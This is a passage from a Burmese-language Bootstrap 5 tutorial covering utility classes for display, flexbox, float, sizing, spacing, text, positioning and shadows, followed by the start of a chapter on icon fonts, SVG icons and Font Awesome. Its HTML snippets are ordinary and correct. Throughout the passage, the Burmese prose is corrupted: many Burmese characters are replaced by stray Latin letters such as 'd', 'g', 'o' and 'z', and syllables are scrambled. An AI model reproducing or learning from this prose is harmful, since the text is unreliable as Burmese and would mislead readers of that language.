Background အdရာင်ကို ပံုdသတစd်ရာင်ထဲ မဟုတ်zဲ Gradient ပံုစံ dရာင်dgပးdလးနဲ့ gပdပးမှာပါ။ 

Display
Element dတွရဲ့  Display Type ကို d- နဲ့စတဲ့ Class နဲ့dgပာင်းနိုင်ပါတယ်။ d-block, d-inline,
d-none စသည်goင့်ပါ။ ဒီdနရာမှာ ပုိအdရးကြကီးတာက  Responsive Size  dတွgoစ်ပါတယ်။ အလယ်မှာ
Responsive Size Class dတွထည့်ပြပီး Screen Size အလုိက် Display Type ကိုdgပာင်းနိုင်ပါတယ်။ ဒီလိုပါ

 HTML 
<p class="d-none d-md-block">Some Content</p>

d-none လ့ုိdgပာထားတဲ့အတွက်  Default  မှာ  dပျာက်dနပါလိမ့်မယ်။  ဒါdပမယ့်  d-md-block လ့ုိ
dgပာထားတဲ့အတွက်  Medium  Device  dတွမှာ  dပါ်လာမှာgoစ်ပါတယ်။  ဒါdeကာင့်  Screen  dသးရင်
dပျာက်သွားပြပီး Screen ကြကီးမှ dပါ်လာတဲ့ လုပ်dဆာင်ချက်ကို ရရှိမှာ goစ်ပါတယ်။ md အစား sm, lg,
xl, xxl စသgoင့် တgခား Size Class dတွကို လုိအပ်သလုိ အသုံးgပုနိုင်ပါတယ်။

dတာ်dတာ်  အသံုးဝင်တဲ့  လုပ်dဆာင်ချက်ပါ။  Responsive Web Design  dတွလုပ်တဲ့အခါ  Screen Size
dပါ်မူတည်ပြပီး  Element dတွကို gပသင့်အချနိ်မှgပတယ်၊ မgပသင့်ရင် doျာက်ထားတယ်ဆိုတာဟာ လုိအပ်
တဲ့ လုပ်dဆာင်ချက်တစ်ခု goစ်ပါတယ်။
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Flexbox
CSS Flexbox  အdeကာင်းကို  လုိရင်းdလးdတွ dရွးထုတ်dgပာdနလို့သာပါ၊  တစ်ကယ်dတာ့  အdတာ်dလး
ကျယ်gပန်တဲ့  အdeကာင်းအရာ တစ်ခု  goစ်ပါတယ်။ အခုလည်း  Bootstrap  က dပးထားတဲ့  အdရးကြကီးတဲ့
လုပ်dဆာင်ချက်dလးတစ်ချ ို ့ကို dရးွထုတ်dပးချင်ပါတယ်။

Element  တစ်ခုကို  Flexbox  goစ်dစချင်ရင်  d-flex Class  ကိုသုံးနိုင်ပါတယ်။  အ့ဲဒီ  Flexbox  ထဲက
Element dတွကို စီမံo့ုိအတွက် Flex Utility Class dပါင်း (၆၀) dကျာ်ထိ ရှိdနပါတယ်။ အကုန်သာမှတ်ရ
ရင် မလွယ်ပါzူး။ (၃) ခုပဲ dရွးမှတ်dစချင်ပါတယ်။

• flex-row
• flex-column
• flex-fill

flex-row  က  Element  dတွကို  dzးတိုက်စီပြပီး  ညီdအာင်gပdပးတဲ့  လုပ်dဆာင်ချက်ပါ။  Default  Value
goစ်ပါတယ်။ ပံုမှန်အားgoင့် ကိုယ့်zာသာ dပးစရာမလိုပါzူး။  flex-column ကdတာ့ အdပါ်dအာက်
စီgပdပးမှာပါ။ အ့ဲဒီနှစ်ခုကို Responsive Size Class dတွနဲ့  တဲွသုံးရင် အသံုးဝင်ပါတယ်။ ဒီလုိပါ –

 HTML 
<div class="d-flex flex-column flex-md-row">
  <div class="bg-primary p-5"></div>
  <div class="bg-danger p-5 flex-fill"></div>
  <div class="bg-success p-5"></div>
</div>

နမူနာအရ  flex-column လ့ုိdပးထားတဲ့အတွက်  Default  အdနနဲ့  အdပါ်dအာက်စီပြပီး  gပမှာပါ။  ပြပီး
dတာ့မှ flex-md-row လ့ုိdgပာထားတဲ့အတွက် Medium Device Size goစ်လာတဲ့အခါ dzးတိုက်စီပြပီး
dတာ့ gပမှာပါ။ ဒါdeကာင့်  Screen Size dgပာင်းရင်  Layout  လုိက်dgပာင်းတဲ့ လုပ်dဆာင်ချက်ကို ရသွားပါ
တယ်။ ထံုးစံအတိုင်း  md အစား တgခား  Size Class  dတွကို  လုိအပ်သလုိ အစားထုိးပြပီး  သံုးနိုင်ပါတယ်။
flex-fill ကdတာ့  "dzးတိုက်"  dနရာလွတ်ကျန်သdလာက်  အကုန်အgပည့်  dနရာယူdစချင်တဲ့
Element  dတွမှာ  သတ်မှတ်dပးနိုင်ပါတယ်။  ဒါdeကာင့်  ကျန်တဲ့  Element  dတွကို  ရှိသdလာက်ပဲgပပြပီး
flex-fill ပါတဲ့ Element ကို အgပည့်dနရာယူ gပdပးမှာပါ။
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Float
Float  CSS  Property  ဟာ  dတာ်dတာ်dလးအdရးကြကီးတဲ့  Property  goစ်ခဲ့ပါတယ်။  အရင်က  Flexbox
လုပ်dဆာင်ချက်  CSS  မှာမရှိလ့ုိ  Float  Property  dတွကိုသံုးပြပီး  Layout  dတွကို  oန်တီးခဲ့eကရပါတယ်။
အခုdတာ့  Layout  အတွက်  Float  ကို အားကိုးoို့  မလုိအပ်dတာ့ပါzူး။ ဒါdပမယ့်  Float  လုပ်dဆာင်ချက်
အသံုးဝင်တဲ့dနရာdတွ ရိှပါdသးတယ်။ တစ်ချ ို ့  Element  dတွ zယ်zက်ကပ်ပြပီး gပdစချင်ရင်  float-
start ကိုသုံးနိုင်ပါတယ်။ ညာzက်ကပ်ပြပီး gပdစချင်ရင် float-end ကို သံုးနိုင်ပါတယ်။ သ့ူကိုလည်း
Size Class နဲ့ တွဲသံုးနိုင်တဲ့အတွက် အသံုးဝင်တာပါ။ ဒီလုိပါ –

 HTML 
<div class="bg-warning p-4 clearfix">
  <h1 class="float-md-start">Some Title</h1>
  <h2 class="float-md-end">Some sub-title</h2>
</div>

နမူနာအရ ပံုမှန်ဆိုရင်  <h1> နဲ့  <h2> ကို  အdပါ်dအာက်ဆင့်ပြပီး  gပမှာgoစ်dပမယ့်၊  Medium Size  ကို
dရာက်လာတဲ့အခါ <h1> ကို zယ်zက်ကပ်gပမှာgoစ်ပါတယ်။ <h2> ကိုdတာ့ ညာzက်ကပ်gပမှာပါ။ ဒီ
လုိ Float ကိုသံုးပြပီး zယ်ညာ ကပ်တဲ့အခါ ပင်မ Element မှာ clearfix လ့ုိdခါ်တဲ့ လုပ်dဆာင်ချက် ပါ
o့ုိလုိတာကို  သတိgပုပါ။  ဒါကိုgပည့်စုံdအာင်  ရှင်းရရင်  dတာ်dတာ်ရှည်ပါလိမ့်မယ်။  ဒါdeကာင့်  တိုတိုနဲ့
လုိရင်းdလးပဲ dgပာချင်ပါတယ်။  float Class  dတွနဲ့  Element  dတွကို  zယ်ညာကပ်လ့ုိရတယ်။ ဒီလုိ
ကပ်လုိက်လို့ ပင်မ Element ရဲ့ doာ်gပပံုမမှန်dတာရ့င် clearfix ထည့်dပးရတယ်လို့သာ မှတ်ထားပါ။

Width & Height
Width  dတွ  Height  dတွနဲ့ပက်သက်တဲ့  Class  dတွကdတာ့  Percentage  ကိုပဲအdgခခံပြပီး အလုပ်လုပ်လ့ုိ
သိပ်မgပည့်စုံzူး။ ကိုယ့်zာသာ နည်းနည်းdတာ့ ထပ်dရးdပးရတယ်။ ဒီနမူနာကို eကည့်ပါ – 

 HTML 
<div style="height: 300px" class="bg-dark p-2">
  <div class="h-50 w-50 bg-light"></div>
</div>
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h-50 ဆိုတာ height: 50% ကိုdgပာတာပါ။ အလုပ်လုပ်ပါတယ်။ w-50 ဆိုတာ width: 50% ကို
dgပာတာပါ။ အလုပ်လုပ်ပါတယ်။ ဒါdပမယ့် အ့ဲဒီလုိ အလုပ်လုပ်o့ုိအတွက် ပင်မ Element  မှာ  height:
300px ကို  ကိုယ့်zာသာdပးထားရပါတယ်။ အ့ဲဒီ  height ကို  အdgခခံပြပီး  အထဲက  Element  dတွက
အလုပ်လုပ်တာမ့ုိလ့ုိ မပါရင် အဆင်မdgပပါzူး။

ပြပီးတဲ့အခါ 25%, 50%, 75%, 100% ဆိုပြပီး dလးမျ ို းပဲ ရှိပါတယ်။ ဒါdeကာင့်  h-25, h-50, h-
75 နဲ့  h-100 တို့ကိုပဲ သံုးလ့ုိရမှာပါ။ တgခားတန်oုိးdတွ မရှိပါzူး။  w- လည်းအတူတူပါပဲ။  h-auto နဲ့
w-auto dတာ့  ရိှပါတယ်။ အ့ဲဒါက dပးထားတဲ့  Width  dတွHeight  dတွကို  လုိအပ်လ့ုိ gပန်goုတ်ချင်တဲ့
အခါမျ ို းမှာ အသုံးဝင်နိုင်ပါတယ်။

Margin & Padding
Margin  dတွ  Padding  dတွနဲ့ပက်သက်တဲ့  Utility Classes  dတွကိုdတာ့ dရှ့ နမူနာdတွမှာလည်း dတွ့ ခဲ့
eကပြပီးသားပါ။  1,  2,  3,  4,  5  ဆိုပြပီး  Size  က  (၅)  မျ ို းရှိပါတယ်။  Margin  အတွက်  m- နဲ့စပြပီး
Padding အတွက် p- နဲ့စပါတယ်။ Top, Right, Bottom, Left တစ်zက်စီလည်းdပးလ့ုိရပါတယ်။

• mt-{size} (Margin Top)
• me-{size} (Margin End or Right)
• mb-{size} (Margin Bottom)
• ms-{size} (Margin Start or Left)
• my–{size} (Margin Top/Bottom)
• mx-{size} (Margin Left/Right) 

Padding  အတွက်လည်း  အတတူူပါပဲ။  m- အစား  p- နဲ့စတာပဲ  ကွာသွားမှာပါ။  Size  အတွက်  auto
လည်းရှိပါdသးတယ်။  margin: auto လုပ်dဆာင်ချက်မျ ို းကို လုိချင်ရင် သံုးနိုင်ပါတယ်။ 0  လည်းရှိပါ
dသးတယ် m-0 p-0 ဆိရုင် Margin dတွ Padding dတွ အကုနg်oုတ်dပးလုိက်မှာပါ။
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Text
Text  နဲ့  ပက်သက်တဲ့  Class  dတွကdတာ့  Alignment  တို့  Formatting  တို့အတွက် အစုရံှိပါတယ်။  Left,
Right,  Center,  Justify  စတဲ့  Alignment  လုပ်ငန်းdတွအတွက်  text-start,  text-end,
text-center, text-justify စသgoင့် ကုန်သံုးလုိ့ရပါတယ်။ ဥပမာ –

 HTML 
<h1 class="text-center">Centered Title</h1>

နမူနာအစာ dခါင်းစီးအတွက်စာကိုအလယ်မှာ Align လုပ်ပြပီး gပdပးမှာပါ။ Responsive Class dတွနဲ့ တွဲပြပီး
သံုးနိုင်တဲ့အတွက် ပုိပြပီးdတာ့ အသံုးဝင်နိုင်ပါdသးတယ်။ ဒီလုိပါ –

 HTML 
<h1 class="text-center text-md-start">Centered Title</h1>

နမူနာအရ  Default  အdနနဲ့  Center Align  ထားပြပီးgပdပမယ့်  Medium Screen Size  goစ်သွားပြပီးဆိုရင်
Left  Align နဲ့dgပာင်းပြပီး  gပdပးသွားမှာgoစ်ပါတယ်။  Bold,  Italic,  Underline,  Strike-through  စတဲ့
Formatting လုပ်ငန်းdတွအတွက် ဒီလုိ Class dတွရှိပါတယ်။

• fw-bold
• fw-bolder
• fw-normal
• fw-light
• fw-lighter
• fst-italic
• fst-normal
• text-decoration-underline
• text-decoration-line-through
• text-decoration-none

ဒါdတွကိုdတာ့ တစ်ခုချင်းရှင်းgပo့ုိ မလုိအပ်zူးလုိ့ထင်ပါတယ်။ Class အမည်မှာ သူ့အဓိပ္ပါယ်နဲ့သူ dပါ်လွင်
ပြပီးgoစ်dနလ့ုိပါ။  
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စာdeကာင်းdတွရဲ့အdပါ်dအာက် အစိတ်အကြကဲ Line Height နဲ့ပက်သက်ပြပီး (၃) မျ ို းမှတ်သင့်ပါတယ်။

• lh-sm
• lh-base
• lh-lg

lh-base က မူလပမာဏနေအတိုင်းgoစ်ပြပီး  lh-sm ဆိုရင်  Line  Height  ကျဉ်းသွားလ့ုိ  စာdeကာင်းdတွ
နည်းနည်းပိုကပ်သွားမှာပါ။  lh-lg ဆိုရင်dတာ့  Line Height ကျယ်သွားလို့ စာdeကာင်းdတွတစ်ခုနဲ့တစ်
ခု ပုိပြပီး ကျဲသွားမှာပဲgoစ်ပါတယ်။ လုိရမယ်ရထည့်dပးထားတာပါ။ Bootstrap ကdပးထားတဲ့ Line Height
က  အများအားgoင့်  အဆင်dgပပါတယ်။  gမန်မာစာလုိ  စာမျ ို းdတွdတာ့  သံုးထားတဲ့  oွန့်dပါ်မူတည်ပြပီး
ရံoန်ရံခါ  Line Height  dလးချဲdပးထားမှ oတ်ရတာအဆင်dgပတာမျ ို း goစ်တတ်ပါတယ်။ အ့ဲဒီလုိ လုိအပ်
လာရင် lh-lg Class ကို သံုးနိုင်ပါတယ်။

Position
Absolute,  Relative,  Fixed  စတဲ့  Position  နဲ့ပက်သက်တဲ့  Class  dတွလည်းရှိပါတယ်။  position-
absolute, position-fixed, position-relative ဆိုတဲ့  (၃)  မျ ို းကို  မှတ်ထားသင့်ပါ
တယ်။  Position  dတရွဲ့  သdzာသzာဝကို  CSS  အခန်းမှာ  dgပာခဲ့ပြပီးသားပါ။  Position  dပးထားပြပီး
dနာက် Element ရဲ့ doာ်gပပံုတည်dနရာ သတ်မှတ်o့ုိအတွက် left, right, bottom, top စတဲ့
Property  dတွနဲ့  CSS  မှာ  တွဲသံုးရသလုိပဲ  Bootstrap  မှာ  တွဲသံုးdပးရမှာပါ။  Bootstrap  မှာdတာ့
start, end, bottom, top goစ်သွားပါတယ်။ ဥပမာ –

 HTML 
<div class="position-relative bg-dark" style="height: 200px">
  <div class="position-absolute
              bg-light top-50 start-50
              w-25 h-25"></div>
</div>

နမူနာအရ  ပင်မ  Element  မှာ  position-relative လ့ုိသတ်မှတ်dပးထားပြပီး  အတွင်းထဲက
Element မှာ position-absolute လ့ုိသတ်မှတ်ထားပါတယ်။ top-50 ဆိုတာ top: 50% ဆိုတဲ့
သdzာမျ ို းပါ။  start-50 ကdတာ့  left:  50% ဆိုတဲ့သdzာမျ ို းပါ။  ဒါdeကာင့်  အတွင်းထဲက
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Element က အလယ်မှာ dရာက်dနရမှာပါ။ အလယ်တည့်တည့်dတာ့ dရာက်မှာ မဟုတ်ပါzူး။ အလယ်တ
ည့်တည့်dရာက်ချင်ရင် start က 50% goစ်လ့ုိမရပါzူး။ start က (50% - Element Width / 2) goစ်ရ
မှာပါ။  top လည်းအတူတူပါပဲ။  ဒီgပဿနာက  Position  မှာ  dတွ့ရdနeက  gပဿနာgoစ်ပါတယ်။  ဒါကို
Bootstrap က translate-middle ဆိုတဲ့ Class နဲ့dgoရှင်းdပးထားပါတယ်။ ဒီလုိdရးရမှာပါ။

 HTML 
<div class="position-relative bg-dark" style="height: 200px">
  <div class="position-absolute 
              bg-light top-50 start-50
              w-25 h-25
              translate-middle"></div>
</div>

ဒီdတာ့မှ  တစ်ကယ့်အလယ်တည့်တည့်ကို  dရာက်မှာgoစ်ပါတယ်။  zာကိုdgပာတာလဲ  သိပ်မရှင်းရင်
လက်dတွ့ချdရးပြပီး နှစ်ခုနှိုင်းယှဉ် စမ်းသပ်eကည့်သင့်ပါတယ်။ ဒီလုိပါ –

top-50,  start-50 dပးထားတာချင်းအတူတူ  ပထမတစ်ခုက  အလယ်တည့်တည့်မdရာက်zဲ၊
dနာက်တစ်ခုက အလယ်တည့်တည့် dရာက်တယ်ဆိုတာကို dတွ့ရမှာgoစ်ပါတယ်။ ဒါdတာ်dတာ် အသံုးဝင်
တဲ့ လုပ်dဆာင်ချက်တစ်ခုပါ။ ပုိပြပီးစိတ်ဝင်စားo့ုိdကာင်းတာdလး စမ်းeကည့်ချင်ရင် ဒီကုဒ်ကို စမ်းeကည့်နိုင်
ပါတယ်။
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 HTML 
<button class="btn btn-primary position-relative">
  Goto User List
  <span class="badge 
               bg-danger 
               position-absolute 
               top-0 
               start-100
               translate-middle
               rounded-pill">20</span>
</button>

bth ထဲမှာ badge တစ်ခုရှိပြပီး position-absolute နဲ့ translate-middle ကိုတွဲသံုးထားလ့ုိ
Notification စနစ်dတွမှာ dတွ့ dနeကပုံစံအတိုင်း နိုတအီdရအတွက်က Button ရဲ့ ထိပ်oျားမှာ ချတိ်dနတဲ့
ပံုစံကို ရရှိမှာgoစ်ပါတယ်။ 

dပးထားတဲ့  နမူနာမှာ  (၃)  မျ ို းdရးgပထားပါတယ်။ ပထမတစ်ခုက ရိုးရိုးပါပဲ။  btn ထဲမှာ  badge တစ်ခု
ရိှdနပါတယ်။ ဒုတိယတစ်ခုမှာdတာ့  badge မှာ  position-absolute goစ်သွားပြပီး  start-100
လ့ုိdgပာလိုက်တဲ့  အတွက်  dကျာ်ထွက်  သွားတာကို  dတွ့ရနိုင်  ပါတယ်။  တတိယတစ်ခု  ကျdတာ့မှ
translate-middle  ပါသွားလ့ုိ ထိပ်oျားdလးမှာ ချတိ်dနတဲ့ပုံစံdလး ရသွားတာကို dတွ့ရမှာပါ။
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Shadow
Element  dတွအတွက် အရိပ်ကျdနတဲ့ပံုစံ  Drop Shadow  dတွထည့်ချင်ရင် ထည့်လ့ုိရdအာင်လည်း dပး
ထားပါdသးတယ်။ သူလည်းအသံုးဝင်ပါတယ်။  သံုးရတာလည်း  လွယ်ပါတယ်။  shadow Class  ကို  သံုး
dပးလုိက်ယံုပါပဲ။ shadow-sm နဲ့ shadow-lg ဆိုပြပီး မူကွဲ (၂) မျ ို းရှိပါတယ်။

 HTML 
<div class="border p-4 mb-4 bg-light shadow-sm">
  Some Content
</div>
<div class="border p-4 mb-4 bg-light shadow">
  Some Content
</div>
<div class="border p-4 mb-4 bg-light shadow-lg">
  Some Content
</div>

shadow-sm က အရိပ်ကို  ပါးပါးdလး မသိမသာထည့်dပးလုိက်မှာ။  shadow-lg ကdတာ့  အရိပ်ကို
dတာ်dတာ်ကြကီးကြကီး ထည့်dပးမှာပါ။ ဒီလိုပါ –
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ဒီdလာက်ဆိုရင် dတာ်dတာ်dလးစုံသွားပါပြပီ။ dနာက်ထပ်အခန်းတစ်ခန်းနဲ့  နမူနာအdနနဲ့ အdတွ့ရများတဲ့
Admin Dashboard UI  dလးတစ်ခုကို  Bootstrap  နဲ့လုပ်eကည့်eကဦးမှာပါ။ အ့ဲဒီအခါမှာ ဒီ  Utility Class
dတွကို လက်dတွ့အသံုးချပံု နမူနာdတွ ထပ်ပါလာပါလိမ့်မယ်။

Admin Dashboard  နမူနာလုပ်မeကည့်ခင်  Icon dတွအdeကာင်း dgပာo့ုိ ကျန်dနdသးလုိ့ dနာက်တစ်ခန်း
မှာ Icon dတွအdeကာင်း ဆက်eကည့်eကပါမယ်။
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အခန်း (၈) – Icons

Icons  dတဟွာလည်း  UI  dတွoန်တီးတည်dဆာက်oုိ့အတွက် အdရးကြကီးပါတယ်။ နှုတတ်စ်ရာ စာတစ်လံုး
လ့ုိ dgပာeကသလုိ၊ A picture is worth a thousand words လ့ုိလည်းdgပာeကပါတယ်။ ပံုdလးတစ်ပံု၊ Icon
dလးတစ်ခုနဲ့ ရှုပ်dနတာdတွကို ရှင်းသွားdစနိုင်ပါတယ်။ dရာdနတာdတွကို ကွဲgပားသွားdစနိုင်ပါတယ်။

Bootstrap 3  တုံးက  Framework  နဲ့အတူ  Icons  dတွ တစ်ခါထဲ ပါခဲ့oူးပါတယ်။  Bootstrap 4  မှာdတာ့
Icons dတွ ထည့်မdပးdတာ့လ့ုိ Third-party Icons dတွနဲ့ တဲွသုံးeကပါတယ်။ လူသံုးအများဆုံးလ့ုိ dgပာလုိ့
ရတဲ့ Icons နည်းပညာ တစ်ခုကdတာ့ Font Awesome ပဲ goစ်ပါတယ်။ အခု Bootstrap 5 မထွက်ခင်dလး
မှာ  Bootstrap Icons  ဆိုပြပီးdတာ့ goည့်စွက်နည်းပညာအသစ်တစ်ခုကို  Bootstrap Framework  တီထွင်
သူများကပဲ oန်တီးdပးလာတာကိုလည်း dတွ့ ရပါတယ်။

ဟိုးအရင်တုံးက Icon ဆိရုင် ICO တို့ GIF တို့ PNG တို့လ့ုိ ပံု Format dတွအdနနဲ့  အသံုးများခဲ့eကပါတယ်။
ဒီပံု Format dတွက အရွယ်အစားအားgoင့် dသးငယ်ပြပီး Background Transparency လုိလုပ်dဆာင်ချက်
မျ ို းdတွ ပါဝင်တဲ့အတွက်  Icon နဲ့ သင့်dတာ်ပါတယ်။ ဒါdပမယ့် ဒီလုိ ပံု  Format ကို  Icon အတွက်သံုးတဲ့
အတွက် ကြကုံdတွ့ရတဲ့  gပဿနာdတွ ရှိပါတယ်။ အ့ဲဒီထဲက တစ်ခကုdတာ့၊  Icon  dတွဆိတုာ အများကြကီး
သံုးရတာပါ။  ဝz်ဆိုက်တစ်ခုမှာ  Icon  dပါင်း  ဆယ်ခု၊  အခုနှစ်ဆယ်ကdန  အခုငါးဆယ်၊  အခုတစရ်ာထိ
လည်း ပါနိုင်ပါတယ်။ ဒီdလာက် oုိင်အdရအတွက်များတဲ့အခါ ဝz်ဆိုက်ကို dနှးdစပါတယ်။ ဝz်ဆိုက်တစ်
ခုက Icon oုိင်အခု (၅၀) သံုးထားရင် Web Browser က အကြကိမ် (၅၀) ဆာဗာကိုဆက်သွယ်မှု gပုလုပ်ရတဲ့
အတွက်deကာင့်ပါ။ ဒါdeကာင့် oုိင်dတွရဲ့အရွယ်အစားdလးdတွက dသးdသးdလးdတွdပမယ့် ဆက်သွယ်
ရတဲ့ အကြကိမ်dရများလ့ုိ dနှးသွားdစတဲ့ သdzာမျ ို း goစ်ပါတယ်။ ဒီgပဿနာကို  CSS Sprite လုိ နည်းစနစ်
မျ ို းdတွနဲ့  dgoရှင်းခဲ့eကရပါတယ်။  အခုသိပ်မသံုးeကdတာ့လို့  ဒီအdeကာင်းကို  အကျယ်ချဲ့ပြပီး  ထည့်မရှင်း
dတာ့ပါzူး။ စိတ်ဝင်စားရင် dနာက်မှာ ရှာdoွdလ့လာeကည့်ပါ။
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dနာကd်တာ့ CSS မှာ @font-face လုပ်dဆာင်ချက် ပါဝင်လာgခင်းနဲ့အတူ Icon Fonts dတွကို အသုံး
များလာeကပါတယ်။ Icon Fonts ဆိုတာ A, B, C D တို့ က, ခ, Z, ဃ တို့လုိ စာလံုးdတွကိdုရးဆွဲထည့်သွင်း
ရတဲ့ oွန့်oုိင်ထဲမှာ စာလံုးdတွအစား ရုပ်ပုံdတွကို dရးဆွဲထည့်သွင်းထားgခင်း goစ်တယ် လ့ုိ အလွယ်dgပာနိုင်
ပါတယ်။ ဒီdတာ့ Icon Fonts ကိုသုံးပြပီးစာdရးရင် စာလံုးပံုdတွမdပါ်zဲ ရုပ်ပံုdတွ dပါ်တယ်ဆိုတဲ့ သdzာ
မျ ို းပါ။ ဒီ  Icon Fonts  နည်းစနစ်မှာ အားသာချက်dတွရှိပါတယ်။ ပထမဆုံးအားသာချက်ကdတာ့ oွန့်oုိင်
တစ်ခုမှာစာလံုးdတွ  အများကြကီး  ပါလို့ရသလုိပဲ  ပံုdတွလည်းအများကြကီး  dရးဆွဲထည့်သွင်းထားလ့ုိရတဲ့
အတွက် oုိင်တစ်ခုထဲနဲ့ လုိချင်တဲ့ Icon dတွကို စုစည်းရရှိပြပီး goစ်dစပါတယ်။ ဒါdeကာင့် ရိုးရိုး ပံု Icon dတွ
မှာ အdရအတွက်များလ့ုိ dနှးသွားတယ်ဆိုတဲ့ gပဿနာကို Icon Fonts မှာ dတွ့ရမှာ မဟုတ်ပါzူး။

Icon Fonts ရဲ့ ဒုတိယအားသာချက်ကdတာ့ ပံုအရည်အdသွးကို dgပာင်းလဲdစgခင်းမရှိzဲ အရွယ်အစားကို
လုိသလို ချုံ့လ့ုိချဲ့လ့ုိရgခင်း goစ်ပါတယ်။ ရိုးရိုး GIF, PNG ပံုdတွက ချဲ့လိုက်ရင် ဝါးသွားတာတို့၊ ချုံ့လိုက်ရင်
eကည့်မdကာင်းdတာ့တာတို့ goစ်dစနိုင်ပါတယ်။ Bitmap Graphic dတွမ့ုိလို့ပါ။  A, B, C, D   စာလံုးdတွမှာ  
ချဲ့လုိက်လို့ ဝါးသွားတာမျ ို း မရှိသလုိပါပဲ၊   Icon Fonts   ထဲက   Icon   ပံုdတွကိုလည်း လုိသလုိ အချုံ့အချဲ့လုပ်  
လ့ုိရနိုင်ပါတယ်။ Vector Graphic dတွမ့ုိလ့ုိပါ။ ပြပီးdတာ့ ပံုဆိုတာ ဆွဲထားရင် ဆွဲထားတဲ့အတိုင်းပဲ ရမှာပါ။
အနdီရာင် ဆွဲထားရင် အနီdရာင်ပဲ ရမှာပါ။ အgပာdရာင် dgပာင်းချင်ရင် dနာက်တစ်ပံု ထပ်ဆွဲပြပီး ထည့်မှပဲရ
ပါမယ်။ A, B, C, D   စာလံုးdတွကို အdရာင်လုိသလုိ dgပာင်းပြပီး gပလ့ုိရသလုိပဲ   Icon Font   ထဲက   Icon   ပံုdတွ  
ကိုလည်း  လုိသလို  အdရာင်အမျ ို းမျ ို း  dgပာင်းပြပီး  gပလ့ုိရနိုင်ပါတယ်။  ဒီလုိအားသာချက်dတွdeကာင့်ပဲ
dနာက်ပုိင်းမှာ Icons အတွက် ရိုးရိုးပံုကို မသံုးeကdတာ့သdလာက်ပါပဲ။

ဒီလုိအားသာချက်dတွနဲ့အတူ  အားနည်းချက်တစ်ခုလဲ  တွဲပြပီးdတာ့ပါလာပါတယ်။  Icon  Font  တစ်ခုမှာ
Icon dပါင်းများစွာထည့်သွင်းလ့ုိရတဲ့အတွက် တစ်ချ ို ့ Icon Fonts dတွမှာ ပံုdပါင်း (၅) dထာင် (၆) dထာင်
dလာက်ထိ  ပါနိုင်ပါတယ်။ ဒါdeကာင့်  Icon  dလးတစ်ချ ို ့ကို  သံုးချင်လ့ုိ  Icon  Font  တစ်ခုကို  ချတိ်ဆက်
လုိက်တာနဲ့ မလုိအပ်zဲ ရှိသမျှ Icon dတွ အကုန်ထည့်သွင်းလုိက်ရသလုိ goစ်dစပါတယ်။

dနာက်ထပ် ထပ်dပါ်လာတာကdတာ့ SVG Icons goစ်ပါတယ်။ SVG ဆိုတာ Scalable Vector Graphic ရဲ့
အတိုdကာက်goစ်ပြပီးdတာ့  HTML  နည်းပညာရဲ့  အစိတ်အပိုင်းတစ်ခု  goစ်ပါတယ်။  XML    dရးထံုးကိုသုံးပြပီး  
dတာ့    HTML Document   အတွင်းထဲမှာ   Vector Graphic   dတွကို dရးဆွဲ ထည့်သွင်းdစနိုင်တဲ့ နည်းပညာ  
goစ်ပါတယ်။ အ့ဲဒီ SVG နည်းပညာကိုသံုးပြပီး Icon dတွ တီထွင်လာeကတဲ့အခါ dစာdစာက Icon Font မှာ
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လုိ ရိှသမျှအကုန်ထည့်ရတဲ့ gပဿနာမျ ို း မရှိdတာ့zဲ ကိုယ်လုိချင်တဲ့ Icon ကို HTML ထဲမှာ လုိသdလာက်
ပဲ dရွးထည့်လ့ုိ  ရလာပါတယ်။ ပြပီးdတာ့ ရိုးရိုး  GIF, PNG  ပံုdတွလုိ အခု  (၅၀)  သံုးထားလ့ုိ အကြကိမ်  (၅၀)
ဆက်သွယ်ရတယ်ဆိုတာမျ ို းလည်း  မgoစ်ပါzူး။  သူက  ပံုကို  HTML  နဲ့  ချတိ်ထားတာ  မဟုတ်zဲ၊  ပံုကို
HTML    အထဲမှာ  တစ်ခါထဲ  dရာdရးထားတဲ့သdzာမျ ို း  goစ်သွားလ့ုိပါ  ။  ဒါdeကာင့်  SVG  Icon  dတွကို
တစ်goည်းgoည်း ပုိသံုးလာeကပါတယ်။

Font Awesome က Icon Font နည်းပညာgoစ်ပါတယ်။ SVG Icons  အdနနဲ့လည်း သံုးလ့ုိရပါတယ်။ နှစ်
မျ ို းdပးထားတဲ့သdzာပါ။  Free  နဲ့  Pro  ဆိုပြပီး  Version  နှစ်ခုလာရာမှာ အခုလက်ရှိထွက်ရှိထားတဲ့  Font
Awesome 5 Pro Version မှာ Icon dပါင်း (၇၀၀၀) dကျာ်ပါဝင်ပါတယ်။ Pro Version က လုိင်စင်ဝယ်ပြပီး
သံုးရပါတယ်။  Free Version ကdတာ့ အခမ့ဲရပြပီး  Icon  dပါင်း  (၁၀၀၀)  dကျာ်ပါဝင်ပါတယ်။  Icon  dပါင်း
(၁၀၀၀)  dကျာ်ဆိုတာတင် dတာ်dတာ် စုံdနပြပီမ့ုိလ့ုိ  Free Version နဲ့တင် ပdရာZျက် dတာd်တာ်များများ
အတွက်  အဆင်dgပdစနိုင်dလာက်ပါတယ်။  ဒီစာdရးdနချနိ်မှာ  Font  Awesome  6  ထွက်dတာ့မယ်လ့ုိ
လည်း deကညာထားပါတယ်။ အသစ်ထွက်တာမeကာdသးတဲ့  Bootstrap Icons  dတကွdတာ့  SVG Icon
dတွgoစ်eကပါတယ်။  အခမ့ဲရပြပီး သ့ူမှာလည်း Icon dပါင်း (၁၀၀၀) dကျာ်ပါဝင်ပါတယ်။

Font Awesome
Font Awesome  ကို  စတင်အသုံးgပုနိုင်o့ုိအတွက် လုိအပ်တဲ့oုိင်dတွကို  Download  ရယူလ့ုိ ရသလုိ  CDN
ကdန တစ်ဆင့်လည်း အသံုးgပုနိုင်ပါတယ်။ ဒီdနရာမှာdတာ့ CDN ကdနချတိ်ပြပီးdတာ့ပဲ နမူနာ dပးသွားပါ
မယ်။ Code Pen Setting ရဲ့ CSS Section မှာ ဒီ Font Awesome CDN လိပ်စာကို ထည့်dပးလုိက်ပါ။

https://use.fontawesome.com/releases/v5.15.1/css/all.css

လက်ရှိဒီစာdရးdနချနိ် ထွက်ရှိထားတာက v5.15.1 ဆိုတာကို သတိgပုပါ။ Font Awesome က dနာက်ပုိင်း
Version dတွမှာ အ့ဲဒီလုိ  CDN လိပ်စာ တိုက်ရိုက်မdပးdတာ့zူးလ့ုိ သိရပါတယ်။ ဒါdeကာင့် Version သစ်
အတွက် CDN လိပ်စာကိုလိုချင်ရင် Font Awesome ဝz်ဆိုက်မှာ Register လုပ်ထားoို့ လုိအပ်ပါလိမ့်မယ်။
အလွယ်တစ်ကူ Register လုပ်လုိ့ရနိုင်ပါတယ်။

- https://fontawesome.com

https://fontawesome.com/
